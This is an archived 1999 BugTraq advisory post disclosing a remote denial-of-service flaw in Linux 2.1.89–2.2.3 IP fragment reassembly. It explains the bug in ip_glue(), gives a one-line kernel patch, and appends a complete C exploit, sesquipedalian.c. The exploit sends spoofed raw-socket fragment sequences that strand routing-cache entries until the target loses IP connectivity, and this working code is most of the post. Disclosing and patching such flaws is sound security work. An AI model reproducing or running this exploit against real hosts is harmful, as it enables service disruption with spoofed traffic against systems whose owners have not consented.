home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Textfiles / zines / Happle / happle10.sit.hqx / Happle#10 / Files / Denial.sit / DoS / sesquipedalian.c < prev    next >
Internet Message Format  |  1999-03-26  |  12KB

  1. Date: Wed, 24 Mar 1999 23:19:37 -0500
  2. From: John McDonald <jmcdonal@UNF.EDU>
  3. To: BUGTRAQ@netspace.org
  4. Subject: DoS for Linux 2.1.89 - 2.2.3: 0 length fragment bug
  5.  
  6. Hi,
  7.  
  8. The recent release of the Linux 2.2.4 kernel fixed a remote denial of
  9. service problem in the IP fragment handling code. If you are running a
  10. Linux kernel between 2.1.89 and 2.2.3, it would probably be a good idea to
  11. get the latest version. In case that isn't feasible for you, I've included
  12. a patch in this post. The impact of this problem is that a remote attacker
  13. can effectively disable a target's IP connectivity. However, for the
  14. attack to succeed, the attacker will have to deliver several thousand
  15. packets to the target, which can take up to several minutes. A quick
  16. exploit and the patch are appended to the end of this post.
  17.  
  18. The problem starts in ip_glue() in ip_fragment.c:
  19.  
  20.         /* Copy the data portions of all fragments into the new buffer. */
  21.         fp = qp->fragments;
  22.         count = qp->ihlen;
  23.         while(fp) {
  24.                 if ((fp->len < 0) || ((count + fp->len) > skb->len))
  25.                         goto out_invalid;
  26.                 memcpy((ptr + fp->offset), fp->ptr, fp->len);
  27.                 if (count == qp->ihlen) {
  28.                         skb->dst = dst_clone(fp->skb->dst);
  29.                         skb->dev = fp->skb->dev;
  30.                 }
  31.                 count += fp->len;
  32.                 fp = fp->next;
  33.         }
  34.  
  35. The problem in this code is that if you can get a fragment into the
  36. qp->fragments list that has a length of 0, and is the first fragment in the
  37. list, then the call to dst_clone() will happen an extra time. The first time
  38. through the loop, count will necessarily equal qp->ihlen, causing
  39. dst_clone() to be called. However, if fp->len happens to equal 0, then count
  40. += fp->len won't increase it, and the next time through the loop, count will
  41. still equal qp->ihlen. dst_clone() increments a usage count on an element in
  42. the routing cache. Our 0 length fragment will cause this element in the
  43. cache to become stranded. The kernel will not free it when it does the
  44. garbage collection of the cache because it will think it is currently in
  45. use.
  46.  
  47. The other component of the problem is that the call to allocate a new entry
  48. in the routing cache does a check to see if the hashtable that comprises the
  49. cache is at a saturated state. If it is, it proceeds to do a garbage
  50. collection. If the number of entries in the cache, after this garbage
  51. collection, is still higher than the threshold, then dst_alloc() will fail.
  52. So, if we generate enough stranded entries in the routing cache (4096 in
  53. 2.2.3) via our malicious frags, then all further calls to dst_alloc will
  54. fail.
  55.  
  56. We can get a 0 length fragment into the head of the list by doing the
  57. following:
  58.  
  59. Send a fragment at offset 0, with a length of X, and IP_MF set. This creates
  60. our list.
  61.  
  62. Send a 0 length fragment at offset 0, where the ip header length is equal to
  63. the ip total length, and IP_MF is set. This will be treated as coming before
  64. the fragment already in our list, because it has an offset equal to the
  65. offset of the existing fragment. It doesn't overlap any, because it's end is
  66. equal to the following fragment's offset.
  67.  
  68. Send a fragment at offset X, with IP_MF not set. This will mark the end of
  69. our set of fragments. ip_done() will return true because it will see the
  70. first frag going from 0 to 0, the second going from 0 to X, and the third
  71. going from X to the end. Our fragments will get passed into ip_glue().
  72.  
  73. -horizon
  74.  
  75. Here is the patch:
  76.  
  77. --- linux-2.2.3/net/ipv4/ip_fragment.c  Wed Mar 24 22:48:26 1999
  78. +++ linux/net/ipv4/ip_fragment.c        Wed Mar 24 22:44:24 1999
  79. @@ -17,6 +17,7 @@
  80.   *             xxxx            :       Overlapfrag bug.
  81.   *             Ultima          :       ip_expire() kernel panic.
  82.   *             Bill Hawes      :       Frag accounting and evictor fixes.
  83. + *             John McDonald   :       0 length frag bug.
  84.   */
  85.  
  86.  #include <linux/types.h>
  87. @@ -357,7 +358,7 @@
  88.         fp = qp->fragments;
  89.         count = qp->ihlen;
  90.         while(fp) {
  91. -               if ((fp->len < 0) || ((count + fp->len) > skb->len))
  92. +               if ((fp->len <= 0) || ((count + fp->len) > skb->len))
  93.                         goto out_invalid;
  94.                 memcpy((ptr + fp->offset), fp->ptr, fp->len);
  95.                 if (count == qp->ihlen) {
  96.  
  97. And here is the exploit:
  98.  
  99. /*
  100.  * sesquipedalian.c - Demonstrates a DoS bug in Linux 2.1.89 - 2.2.3
  101.  *
  102.  * by horizon <jmcdonal@unf.edu>
  103.  *
  104.  * This sends a series of IP fragments such that a 0 length fragment is first
  105.  * in the fragment list. This causes a reference count on the cached routing
  106.  * information for that packet's originator to be incremented one extra time.
  107.  * This makes it impossible for the kernel to deallocate the destination entry
  108.  * and remove it from the cache.
  109.  *
  110.  * If we send enough fragments such that there are at least 4096 stranded
  111.  * dst cache entries, then the target machine will no longer be able to
  112.  * allocate new cache entries, and IP communication will be effectively
  113.  * disabled. You will need to set the delay such that packets are not being
  114.  * dropped, and you will probably need to let the program run for a few
  115.  * minutes to have the full effect. This was written for OpenBSD and Linux.
  116.  *
  117.  * Thanks to vacuum, colonwq, duke, rclocal, sygma, and antilove for testing.
  118.  */
  119.  
  120. #include <stdio.h>
  121. #include <stdlib.h>
  122. #include <string.h>
  123. #include <unistd.h>
  124. #include <netinet/in.h>
  125. #include <sys/socket.h>
  126. #include <netdb.h>
  127. #include <arpa/inet.h>
  128.  
  129. struct my_ip_header
  130. {
  131.         unsigned char  ip_hl:4,         /* header length */
  132.                 ip_v:4;               /* version */
  133.         unsigned char  ip_tos;          /* type of service */
  134.         unsigned short ip_len;          /* total length */
  135.         unsigned short ip_id;           /* identification */
  136.         unsigned short ip_off;          /* fragment offset field */
  137. #define IP_RF 0x8000                    /* reserved fragment flag */
  138. #define IP_DF 0x4000                    /* dont fragment flag */
  139. #define IP_MF 0x2000                    /* more fragments flag */
  140. #define IP_OFFMASK 0x1fff               /* mask for fragmenting bits */
  141.         unsigned char  ip_ttl;          /* time to live */
  142.         unsigned char  ip_p;                    /* protocol */
  143.         unsigned short ip_sum;          /* checksum */
  144.         unsigned long ip_src, ip_dst; /* source and dest address */
  145. };
  146.  
  147. struct my_udp_header
  148. {
  149.         unsigned short uh_sport;
  150.         unsigned short uh_dport;
  151.         unsigned short uh_ulen;
  152.         unsigned short uh_sum;
  153. };
  154.  
  155. #define IHLEN (sizeof (struct my_ip_header))
  156. #define UHLEN (sizeof (struct my_udp_header))
  157.  
  158. #ifdef __OpenBSD__
  159. #define EXTRA 8
  160. #else
  161. #define EXTRA 0
  162. #endif
  163.  
  164. unsigned short checksum(unsigned short *data,unsigned short length)
  165. {
  166.         register long value;
  167.         u_short i;
  168.  
  169.         for(i=0;i<(length>>1);i++)
  170.                 value+=data[i];
  171.  
  172.         if((length&1)==1)
  173.                 value+=(data[i]<<8);
  174.  
  175.         value=(value&65535)+(value>>16);
  176.  
  177.         return(~value);
  178. }
  179.  
  180. unsigned long resolve( char *hostname)
  181. {
  182.         long result;
  183.         struct hostent *hp;
  184.  
  185.         if ((result=inet_addr(hostname))==-1)
  186.         {
  187.                 if ((hp=gethostbyname(hostname))==0)
  188.                 {
  189.                         fprintf(stderr,"Can't resolve target.\n");
  190.                         exit(1);
  191.                 }
  192.                 bcopy(hp->h_addr,&result,4);
  193.         }
  194.         return result;
  195. }
  196.  
  197. void usage(void)
  198. {
  199.         fprintf(stderr,"usage: ./sqpd [-s sport] [-d dport] [-n count] [-u delay] source target\n");
  200.         exit(0);
  201. }
  202.  
  203.  
  204. void sendem(int s, unsigned long source, unsigned long dest,
  205.                 unsigned short sport, unsigned short dport)
  206. {
  207.         static char buffer[8192];
  208.         struct my_ip_header *ip;
  209.         struct my_udp_header *udp;
  210.         struct sockaddr_in sa;
  211.  
  212.         bzero(&sa,sizeof(struct sockaddr_in));
  213.         sa.sin_family=AF_INET;
  214.         sa.sin_port=htons(sport);
  215.         sa.sin_addr.s_addr=dest;
  216.  
  217.         bzero(buffer,IHLEN+32);
  218.         
  219.         ip=(struct my_ip_header *)buffer;
  220.         udp=(struct my_udp_header *)&(buffer[IHLEN]);
  221.  
  222.         ip->ip_v = 4;
  223.         ip->ip_hl = IHLEN >>2;
  224.         ip->ip_tos = 0;
  225.         ip->ip_id = htons(random() & 0xFFFF);
  226.         ip->ip_ttl = 142;
  227.         ip->ip_p = IPPROTO_UDP;
  228.         ip->ip_src = source;
  229.         ip->ip_dst = dest;
  230.         udp->uh_sport = htons(sport);
  231.         udp->uh_dport = htons(dport);
  232.         udp->uh_ulen = htons(64-UHLEN);
  233.         udp->uh_sum = 0;
  234.  
  235.         /* Our first fragment will have an offset of 0, and be 32 bytes
  236.            long. This gets added as the only element in the fragment
  237.            list. */
  238.  
  239.         ip->ip_len = htons(IHLEN+32);
  240.         ip->ip_off = htons(IP_MF);
  241.         ip->ip_sum = 0;
  242.         ip->ip_sum = checksum((u_short *)buffer,IHLEN+32);
  243.  
  244.         if (sendto(s,buffer,IHLEN+32,0,(struct sockaddr*)&sa,sizeof(sa)) < 0)
  245.         {
  246.                 perror("sendto");
  247.                 exit(1);
  248.         }
  249.  
  250.         /* Our second fragment will have an offset of 0, and a 0 length.
  251.            This gets added to the list before our previous fragment,
  252.            making it first in line. */
  253.  
  254.         ip->ip_len = htons(IHLEN);
  255.         ip->ip_off = htons(IP_MF);
  256.         ip->ip_sum = 0;
  257.         ip->ip_sum = checksum((u_short *)buffer,IHLEN);
  258.  
  259.         if (sendto(s,buffer,IHLEN+EXTRA,0,(struct sockaddr*)&sa,sizeof(sa)) < 0)
  260.         {
  261.                 perror("sendto");
  262.                 exit(1);
  263.         }
  264.  
  265.         /* Our third and final frag has an offset of 4 (32 bytes), and a
  266.            length of 32 bytes. This passes our three frags up to ip_glue. */
  267.  
  268.         ip->ip_len = htons(IHLEN+32);
  269.         ip->ip_off = htons(32/8);
  270.         ip->ip_sum = 0;
  271.         ip->ip_sum = checksum((u_short *)buffer,IHLEN+32);
  272.  
  273.         if (sendto(s,buffer,IHLEN+32,0,(struct sockaddr*)&sa,sizeof(sa)) < 0)
  274.         {
  275.                 perror("sendto");
  276.                 exit(1);
  277.         }
  278. }
  279.  
  280. int main(int argc, char **argv)
  281. {
  282.         int sock;
  283.         int on=1,i;
  284.         unsigned long source, dest;
  285.         unsigned short sport=53, dport=16384;
  286.         int delay=20000, count=15000;
  287.  
  288.         if (argc<3)
  289.                 usage();        
  290.  
  291.         while ((i=getopt(argc,argv,"s:d:n:u:"))!=-1)
  292.         {
  293.                 switch (i)
  294.                 {
  295.                         case 's': sport=atoi(optarg);
  296.                                   break;
  297.                         case 'd': dport=atoi(optarg);
  298.                                   break;
  299.                         case 'n': count=atoi(optarg);
  300.                                   break;
  301.                         case 'u': delay=atoi(optarg);
  302.                                   break;
  303.                         default:  usage();
  304.                 }
  305.         }
  306.         
  307.         argc-=optind;
  308.         argv+=optind;
  309.  
  310.         source=resolve(argv[0]);
  311.         dest=resolve(argv[1]);
  312.  
  313.         srandom(time((time_t)0)*getpid());
  314.  
  315.         if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
  316.         {
  317.                 perror("socket");
  318.                 exit(1);
  319.         }
  320.  
  321.         if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0)
  322.         {
  323.                 perror("setsockopt: IP_HDRINCL");
  324.                 exit(1);
  325.         }
  326.  
  327.         fprintf(stdout,"\nStarting attack on %s ...",argv[1]);
  328.  
  329.         for (i=0; i<count; i++)
  330.         {
  331.                 sendem(sock,source+htonl(i),dest,sport,dport);
  332.                 if (!(i%2))
  333.                         usleep(delay);
  334.                 if (!(i%100))
  335.                 {
  336.                         if (!(i%2000))
  337.                                 fprintf(stdout,"\n");
  338.                         fprintf(stdout,".");
  339.                         fflush(stdout);
  340.                 }
  341.         }
  342.  
  343.         fprintf(stdout,"\nDone.\n");
  344.         exit(1);
  345. }
  346.  
  347.